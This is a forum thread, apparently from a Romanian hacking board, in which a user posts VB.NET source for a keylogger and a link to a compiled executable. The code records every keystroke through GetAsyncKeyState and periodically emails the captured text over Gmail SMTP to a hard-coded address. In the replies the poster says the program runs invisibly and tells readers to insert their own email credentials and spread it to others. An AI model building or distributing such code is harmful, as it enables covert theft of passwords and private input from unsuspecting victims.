KeyLogger in VB.NET and source code

[bc-vnt]

Download : KeyLogger.exe download - 2shared

Imports System.Net.Mail
Public Class Form1
    Dim result As Integer
    Private Declare Function GetAsyncKeystate Lib "user32" (ByVal vKey As Int32) As Int16

    Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
        For i = 1 To 255
            result = 0
            result = GetAsyncKeystate(i)
            If result = 32767 Then
                RichTextBox1.Text = RichTextBox1.Text + Chr(i)

            End If
        Next
    End Sub

    Private Sub email_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles email.Tick
        Dim MyMailMessage As New MailMessage()
        MyMailMessage.From = New MailAddress("YOUR E-MAIL")
        MyMailMessage.To.Add("bcvnt1992@gmail.com")
        MyMailMessage.Subject = ("KeyLogger")
        MyMailMessage.Body = RichTextBox1.Text
        Dim SMTPServer As New SmtpClient("smtp.gmail.com")
        SMTPServer.Port = 587
        SMTPServer.Credentials = New System.Net.NetworkCredential("YOUR E-MAIL", "PASSWORD")
        SMTPServer.EnableSsl = True
        SMTPServer.Send(MyMailMessage)
        RichTextBox1.Text = ("")

    End Sub

    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load

    End Sub
End Class

Edited September 3, 2012 by bc-vnt

[.Slacker]

Schimba-ti parola la gmail nenea )

[eusimplu]

Cateva detalii despre el nu dai?

[bc-vnt]

Cateva detalii despre el nu dai?

Tot ce iti pot spune este faptu ca " joaca " pe invizibil,in rest copy paste in vb.2010 exp si unde scrie " YOUR E-MAIL " , " PASSWORD " pui datele tale il trimiti / postezi pe undeva si .... DONE !

Daca nu downloadeaza-l pe cel facut de mine si asta e ... te-ai " fript "